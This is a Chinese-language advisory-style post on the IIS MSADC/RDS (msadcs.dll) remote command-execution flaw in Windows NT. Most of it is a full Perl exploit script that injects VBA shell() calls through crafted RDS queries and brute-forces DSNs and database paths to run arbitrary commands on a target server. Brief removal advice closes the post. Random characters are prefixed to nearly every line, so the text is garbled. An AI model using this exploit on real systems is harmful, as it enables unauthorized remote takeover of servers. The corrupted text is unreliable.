IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
brTNwRze !Q"L )%)'A 涉及程序：
-Y524
Microsoft NT server
}aOqoi7w 8Ay7I 描述：
8 (Az/@=n 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~ g!!#ad p*PzfSLN 详细：
,6]ID1o:y 如果你没有时间读详细内容的话，就删除:
YH58p&up c:\Program Files\Common Files\System\Msadc\msadcs.dll
= 9Yf o,F 有关的安全问题就没有了。
] !*K|?VL qeM DC#N 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
,esEh5=Ir m%.4OXX"& 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
8 0Y% C-Y: 关于利用ODBC远程漏洞的描述，请参看:
M
IIa8 ; t<te{yt% http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ~2>A dp "81'{\(I_ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
d21thV ,S http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2 D%2 k `]65&hWZL 这里不再论述。
~j[?3E4L} G$a@}9V 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
n#}@| "J fK:4jl-r /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
(8 7wWhH 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
A!GvfmzqIn CE
M4E W^09tx/I #将下面这段保存为txt文件，然后: "perl -x 文件名"
l1]N&jN{ O` CZwXD #!perl
d_(>:|o h #
z$1 |D{ # MSADC/RDS 'usage' (aka exploit) script
(ORbhjl #
EPW4
h/I # by rain.forest.puppy
g5# Lo Gc #
+F NGRL # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
K3vZ42 n # beta test and find errors!
[G brKq( /
xv5we~ use Socket; use Getopt::Std;
,JI] Eij^ getopts("e:vd:h:XR", \%args);
#8XmOJ"W3k 9wCgJ$te print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(P? |Bk [ {3KY:%6qj if (!defined $args{h} && !defined $args{R}) {
&FmTT8"l print qq~
vKnZ= =B Usage: msadc.pl -h <host> { -d <delay> -X -v }
*JImP9SE -h <host> = host you want to scan (ip or domain)
mD>
J,E -d <seconds> = delay between calls, default 1 second
PW@ :fM:q -X = dump Index Server path table, if available
[>`.,k -v = verbose
V^tD @N -e = external dictionary file for step 5
k-&<_ghT \ 0(d!w*RpG Or a -R will resume a command session
f~l pa7 ]?_~ QE` ~; exit;}
:V6
[_VaF LS*L XC $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
zq + 2@"q if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
zW\a)~ E if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
%H?B5y if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
q/ :]+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&p#PYs|H if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
.4ww5k> `~\SQ EY$ if (!defined $args{R}){ $ret = &has_msadc;
+h-% { die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d>#',C#; *b~8`O pa` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
8r> \scS . "cmd /c ";
>7@,,~3 $in=<STDIN>; chomp $in;
#SHJ0+)o $command="cmd /c " . $in ;
/* gs] KiG19R$ if (defined $args{R}) {&load; exit;}
CV
HKP[- i<m)
s$u print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
dSj O 12b &try_btcustmr;
7_3 6xpw sh,4n{+ print "\nStep 2: Trying to make our own DSN...";
RCa1S^. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
e\ (X:T hwk] ;6[ print "\nStep 3: Trying known DSNs...";
M%54FsV &known_dsn;
X`<z5W] ! 7 `~0j6FY print "\nStep 4: Trying known .mdbs...";
_ LgP &known_mdb;
|5>A^a O*+HK1q7 if (defined $args{e}){
A%EhR A y print "\nStep 5: Trying dictionary of DSN names...";
5G6 P p7[ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+EA ")T<l F%zMhX'AG print "Sorry Charley...maybe next time?\n";
y)L X? d exit;
_GY2|x2c cb'Y a_ ##############################################################################
s8:epcL`A Msvs98LvW sub sendraw { # ripped and modded from whisker
]~$@x=p2e sleep($delay); # it's a DoS on the server! At least on mine...
~ :,}? 9 my ($pstr)=@_;
k ]gPMhe socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U`N?<zm<oO die("Socket problems\n");
e`a4G r if(connect(S,pack "SnA4x8",2,80,$target)){
CUdpT$ $x3 select(S); $|=1;
h('5x,G% print $pstr; my @in=<S>;
D;2V|CkU select(STDOUT); close(S);
3qGz(6w6E return @in;
~ecN4Oo4q; } else { die("Can't connect...\n"); }}
)y:M8((% C3.]dsv: ##############################################################################
:xmj42w>^ oGZuYp a9 sub make_header { # make the HTTP request
<%^WZ:c my $msadc=<<EOT
<% mD#S POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
6;~V@t User-Agent: ACTIVEDATA
o
S{hv:)> Host: $ip
b! MN QGs Content-Length: $clen
1C c 9 1 Connection: Keep-Alive
/xSJljexz {B#w9>'b ADCClientVersion:01.06
zGme}z;1@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
KN@ [hb7% i .K!;E> --!ADM!ROX!YOUR!WORLD!
r 25VcY Content-Type: application/x-varg
LdOqV'&r Content-Length: $reqlen
!iHC++D NG\'Ii:-J EOT
e|SN b*_ ; $msadc=~s/\n/\r\n/g;
'G[G;?F return $msadc;}
H{ _D#It ~U7B o(EJp ##############################################################################
O)R} | Y]~- S sub make_req { # make the RDS request
b'FT y i my ($switch, $p1, $p2)=@_;
m0 W3pf my $req=""; my $t1, $t2, $query, $dsn;
lZkJ<*z# EGFP$n vq if ($switch==1){ # this is the btcustmr.mdb query
(VkO[5j $query="Select * from Customers where City=" . make_shell();
r1.zURY $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
}#~E-N3x $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
VNz? e&> _ZJQE>]nWu elsif ($switch==2){ # this is general make table query
Nz"K `C>/ $query="create table AZZ (B int, C varchar(10))";
m' j1 $dsn="$p1";}
g"!cO^GkT " t O m elsif ($switch==3){ # this is general exploit table query
%Y /;jC Y $query="select * from AZZ where C=" . make_shell();
bFG?mG: $dsn="$p1";}
{[bpvK n}9<7e~ / elsif ($switch==4){ # attempt to hork file info from index server
9I5AYa? $query="select path from scope()";
,[N(XstI $dsn="Provider=MSIDXS;";}
Q|VBH5}1O ON{ a'H elsif ($switch==5){ # bad query
q b=% W $query="select";
usK P9[T$ $dsn="$p1";}
DIP%*b#l$\ ,QA=)~;D $t1= make_unicode($query);
>'m&/&h $t2= make_unicode($dsn);
9 M?UPE $req = "\x02\x00\x03\x00";
'b [O-6v $req.= "\x08\x00" . pack ("S1", length($t1));
q$H@W. f $req.= "\x00\x00" . $t1 ;
2ZbSdaM= $req.= "\x08\x00" . pack ("S1", length($t2));
eC 2~&:$L $req.= "\x00\x00" . $t2 ;
s AjUX.c $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jpXbFWgN
return $req;}
9!r0uU" m'G=WO*% ##############################################################################
mJ[_q > @az<D7j2 sub make_shell { # this makes the shell() statement
pP# _B return "'|shell(\"$command\")|'";}
EHl~y=9 b{<$OVc ##############################################################################
MkdC*| \Lb wfd = sub make_unicode { # quick little function to convert to unicode
g rI#' x my ($in)=@_; my $out;
;K4=fHl for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
k ^KpQ&n return $out;}
j)nE!GKD( ^G5 fs' d ##############################################################################
qUg/mdv& ]
fA5D)/m< sub rdo_success { # checks for RDO return success (this is kludge)
-ciwIS9L
my (@in) = @_; my $base=content_start(@in);
DP *$@5 if($in[$base]=~/multipart\/mixed/){
]A\qI>, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
{w ,^Z[< return 0;}
V%t_,AT 'F*OlZ!BWy ##############################################################################
B"88 .U}$ iYdg1 sub make_dsn { # this makes a DSN for us
:vS/Lzk my @drives=("c","d","e","f");
SN7 _^F print "\nMaking DSN: ";
/r&4< @ foreach $drive (@drives) {
Q?>*h xzoP print "$drive: ";
|Ul 4n@+2 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
wsR\qq "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-4 L27C . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
*ni0. $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
9qz Hy}A return 0 if $2 eq "404"; # not found/doesn't exist
A;^{%S if($2 eq "200") {
_ Fk^lDI- foreach $line (@results) {
YO fYa return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6/'X $}X } return 0;}
b; vVlIG 2>J;P C[; ##############################################################################
XfEp_.~JM )\W}&9 > sub verify_exists {
6Y.k <oem my ($page)=@_;
4Pf"R ~&[ my @results=sendraw("GET $page HTTP/1.0\n\n");
/ 7a3* a return $results[0];}
3c : fYE 1b7?6CqV ##############################################################################
P= E10 RN&8dsreZp sub try_btcustmr {
z>=;Xe8P8n my @drives=("c","d","e","f");
Q2m 5&yy@s my @dirs=("winnt","winnt35","winnt351","win","windows");
.G<Or`K^i l;h -`( 11 foreach $dir (@dirs) {
<P*7u\9& print "$dir -> "; # fun status so you can see progress
tqt~F2u foreach $drive (@drives) {
<I?f=[ print "$drive: "; # ditto
=8]Ru(#Ig $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ne[H `7c $reqlenlen=length( "$reqlen" );
PKGqu,J, $clen= 206 + $reqlenlen + $reqlen;
)1YGWr;ykS p lzwk>b_ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
a@ ? Bv if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
4VA]S else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
?H{?jJj$H ds2x l7jg ##############################################################################
:efDPNm5 e9Cvd R sub odbc_error {
wSALK)T1{ my (@in)=@_; my $base;
QdD @[ my $base = content_start(@in);
nAsc^ Yh if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Fv nf;']q $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
{=Py|N \\t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
pUgas?e& $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
q #8z%/~k return $in[$base+4].$in[$base+5].$in[$base+6];}
zR=g<e1xe print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
bDegIW/'w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
O`~L*h_ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JmBMc }54 c[C(3c| n ##############################################################################
ILHn~d IC N>@.( f&w sub verbose {
vMJC my ($in)=@_;
$ Fy)+< return if !$verbose;
Sx_j `Cgy print STDOUT "\n$in\n";}
& k(tDP )1)&fN41i# ##############################################################################
IJ{VCzi Z#GR)jb+ sub save {
L'"od;(6R my ($p1, $p2, $p3, $p4)=@_;
0 U2dNLc open(OUT, ">rds.save") || print "Problem saving parameters...\n";
mm
| * print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
(tg+C\
S. close OUT;}
Wx8 cK= 4LJOT_ ##############################################################################
3 "|A5>Vo C+C1(b;1 sub load {
0.wN&:I8t my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:yOJL [x open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Hjy4tA7,l @p=<IN>; close(IN);
fKs3H?| $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
uBaGOW|Pl $target= inet_aton($ip) || die("inet_aton problems");
grDz7\i: print "Resuming to $ip ...";
#hEU)G' $+ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
$BOIa if($p[1]==1) {
25;`yB$ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Hxj8cX UF| $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
,nw5 M.D_ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
]/mRMm9"3h if (rdo_success(@results)){print "Success!\n";}
Yp $@i20 else { print "failed\n"; verbose(odbc_error(@results));}}
c[?&;# feV elsif ($p[1]==3){
s%N6^}N if(run_query("$p[3]")){
gdqED}v print "Success!\n";} else { print "failed\n"; }}
k{\a_e` elsif ($p[1]==4){
$bk_%R}s if(run_query($drvst . "$p[3]")){
52*KRq
o print "Success!\n"; } else { print "failed\n"; }}
+ C4NhA2 exit;}
iz`ys. Fu Lo9
\[ 4FP ##############################################################################
j2 #B l Tz/[P:O3 sub create_table {
hnv0Loe.IW my ($in)=@_;
H|cxy?iJ $reqlen=length( make_req(2,$in,"") ) - 28;
1a#R7chl $reqlenlen=length( "$reqlen" );
mldY/;-H!1 $clen= 206 + $reqlenlen + $reqlen;
&Qv%~dvW my @results=sendraw(make_header() . make_req(2,$in,""));
y $?O0S%F return 1 if rdo_success(@results);
Z
Mf,3 my $temp= odbc_error(@results); verbose($temp);
O$Dj_R# return 1 if $temp=~/Table 'AZZ' already exists/;
T%2% *oa return 0;}
<)gTi759h)
& y7~
##############################################################################
e/IVZmUn^ mgBxcmv sub known_dsn {
0MOn>76$N # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9sB LC Z my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
vLc OZ^iK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`6G:<wX "banner", "banners", "ads", "ADCDemo", "ADCTest");
gL wNHS .wuRT>4G)G foreach $dSn (@dsns) {
#pMpGw$ print ".";
yL3F next if (!is_access("DSN=$dSn"));
oeG?2!Zh if(create_table("DSN=$dSn")){
CSE!Abg print "$dSn successful\n";
w"h'rw if(run_query("DSN=$dSn")){
z vbz3 a print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E J Ta~ print "Something's borked. Use verbose next time\n";}}} print "\n";}
S%w67sGl4n h56s ~(?O ##############################################################################
{?uswbk. ^}hS sE sub is_access {
`)1qq @ my ($in)=@_;
Dzw>[
$reqlen=length( make_req(5,$in,"") ) - 28;
?D=%k8)Y $reqlenlen=length( "$reqlen" );
? )"v~vs $clen= 206 + $reqlenlen + $reqlen;
n,|YJ, v[ my @results=sendraw(make_header() . make_req(5,$in,""));
l, E4h-$ my $temp= odbc_error(@results);
S2
YxA verbose($temp); return 1 if ($temp=~/Microsoft Access/);
' ]vMOGG return 0;}
A:,V) o){<PN |z ##############################################################################
j!?bE3r~ g7]g0*gxXW sub run_query {
El3Ayd3 my ($in)=@_;
i &,1 $reqlen=length( make_req(3,$in,"") ) - 28;
z~yLc{M $reqlenlen=length( "$reqlen" );
6E:5w9_ =c $clen= 206 + $reqlenlen + $reqlen;
r Ww.(l my @results=sendraw(make_header() . make_req(3,$in,""));
7, :l\t return 1 if rdo_success(@results);
:N:e3$c my $temp= odbc_error(@results); verbose($temp);
BKW%/y" return 0;}
4yR X{Bl| 8)&J oPN ##############################################################################
d>1#| 7e<\11uI]a sub known_mdb {
; HjT my @drives=("c","d","e","f","g");
2v1dSdX,W my @dirs=("winnt","winnt35","winnt351","win","windows");
6Nz S < my $dir, $drive, $mdb;
< h1J+ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&}lRij&` N'0fB`:kz # this is sparse, because I don't know of many
_." X# }W my @sysmdbs=( "\\catroot\\icatalog.mdb",
V4x6,*)e "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|>=\
VX17 "\\system32\\certmdb.mdb",
_zFJ]7Ym.) "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
FGRG?d4?h 5~SBZYI
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%967#XI[y "\\cfusion\\cfapps\\forums\\forums_.mdb",
Kr;F4G|Qt "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
aW$))J)0 "\\cfusion\\cfapps\\security\\realm_.mdb",
)mRKIM}*W "\\cfusion\\cfapps\\security\\data\\realm.mdb",
C~VyM1inD "\\cfusion\\database\\cfexamples.mdb",
5?gZw;yiv% "\\cfusion\\database\\cfsnippets.mdb",
5lakP? "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
&Zm1 (k6&K "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
/)xQ# yfX "\\cfusion\\brighttiger\\database\\cleam.mdb",
0:k
MnHn\ "\\cfusion\\database\\smpolicy.mdb",
0XrOOYmx "\\cfusion\\database\cypress.mdb",
Hbz,3{o 5 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
BjbpRQ, "\\website\\cgi-win\\dbsample.mdb",
'3ZYoA% "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
o|c"W}W "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
c jBHczkY ); #these are just
F5f1j]c foreach $drive (@drives) {
AV["%$ : foreach $dir (@dirs){
7:h_U9Za?$ foreach $mdb (@sysmdbs) {
kZvh<NFh_ print ".";
J~rjI24 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#+PfrS = print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
82Nw 6om6i if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
08E ,U print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5%(xZ
6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
B?<Z(d7 OL$^7FB foreach $drive (@drives) {
qt#4i.Iu+ foreach $mdb (@mdbs) {
%p.hwgvnp print ".";
&5;y&d h if(create_table($drv . $drive . $dir . $mdb)){
9 mH+Ol#( print "\n" . $drive . $dir . $mdb . " successful\n";
.)XJ- if(run_query($drv . $drive . $dir . $mdb)){
~6:y@4&F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
pNR69/wGi } else { print "Something's borked. Use verbose next time\n"; }}}}
< \S
j5 }
vH9Gf 'l3K*lck ##############################################################################
{V9} W< (Q ys`D sub hork_idx {
}X*.Vv A print "\nAttempting to dump Index Server tables...\n";
)VCRbz"[g print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
H(Q|qckj $reqlen=length( make_req(4,"","") ) - 28;
w*s#= ]6 $reqlenlen=length( "$reqlen" );
zE<G wVI~ $clen= 206 + $reqlenlen + $reqlen;
2w G4" my @results=sendraw2(make_header() . make_req(4,"",""));
/Q[M2DN@ if (rdo_success(@results)){
}]?U.
]- my $max=@results; my $c; my %d;
B3|r O for($c=19; $c<$max; $c++){
]&/KAk $results[$c]=~s/\x00//g;
jo8;S?+<|? $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h 66X746 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
}8 qsE $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
GCEq3
^/ $d{"$1$2"}="";}
#T8$NZA foreach $c (keys %d){ print "$c\n"; }
4$!iw3N ( } else {print "Index server doesn't seem to be installed.\n"; }}
5&*B2ZBzH 6M758 K 6v ##############################################################################
zE NlL (" >gLr sub dsn_dict {
H/ 6GD,0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
pu*vFwZ while(<IN>){
Y4|g^>{<ni $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
qP0_#l& next if (!is_access("DSN=$dSn"));
j?n:"@!G/ if(create_table("DSN=$dSn")){
,o)U9 < print "$dSn successful\n";
#%i-{t+_> if(run_query("DSN=$dSn")){
b,#E.%SLw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
N~An}QX| print "Something's borked. Use verbose next time\n";}}}
A?xb
u*zV, print "\n"; close(IN);}
`FM^)(wT )pXw 3Fo ##############################################################################
/y"Y o ihJC)m`Hbl sub sendraw2 { # ripped and modded from whisker
y 3O Nn~k sleep($delay); # it's a DoS on the server! At least on mine...
;hLne0|)} my ($pstr)=@_;
[o Q&}3\XJ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
j\ SW~}d9 die("Socket problems\n");
cAE.I$T( if(connect(S,pack "SnA4x8",2,80,$target)){
yxa~R z/ print "Connected. Getting data";
3y Azt*dZ open(OUT,">raw.out"); my @in;
vYNh0)$%F select(S); $|=1; print $pstr;
J12 ZdC'O while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
?=uw0~O[ close(OUT); select(STDOUT); close(S); return @in;
k98}Jx7J)" } else { die("Can't connect...\n"); }}
k(;c<Z{?1
_8'F I_E3 ##############################################################################
XHlx89v7 v K\;CSk
sub content_start { # this will take in the server headers
oGLSk (T&I my (@in)=@_; my $c;
K>`7f]?H*e for ($c=1;$c<500;$c++) {
)ccd fSe if($in[$c] =~/^\x0d\x0a/){
4%I(Z'*Cx if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
E0 Vl}b else { return $c+1; }}}
7^J-5lY3S return -1;} # it should never get here actually
J
dD P df7z& {R ##############################################################################
+0 O{"XM h,V#V1>Hu sub funky {
Cu\A[6g, my (@in)=@_; my $error=odbc_error(@in);
o?J>mpC if($error=~/ADO could not find the specified provider/){
ZC 1U print "\nServer returned an ADO miscofiguration message\nAborting.\n";
z.[ Ok exit;}
m
dC.M$ if($error=~/A Handler is required/){
B94m h print "\nServer has custom handler filters (they most likely are patched)\n";
;Db89Nc$ exit;}
1&
k_&o if($error=~/specified Handler has denied Access/){
-hP@L ++D print "\nServer has custom handler filters (they most likely are patched)\n";
khb
Gyg% exit;}}
%L ./U$ ?~a M<rcZ ##############################################################################
jz$)*Kdi* 'H`_Z e< sub has_msadc {
9k^;]jE my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
K`@GN T& my $base=content_start(@results);
.O'gD.|^N return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
h<9h2 return 0;}
3
SQ_9 { d+|8({X]D8 ########################
gtHk1 9 >=2nAv/( qx"?')+ 解决方案：
-9U'yL90B 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
|Js96>B : 2、移除web 目录: /msadc
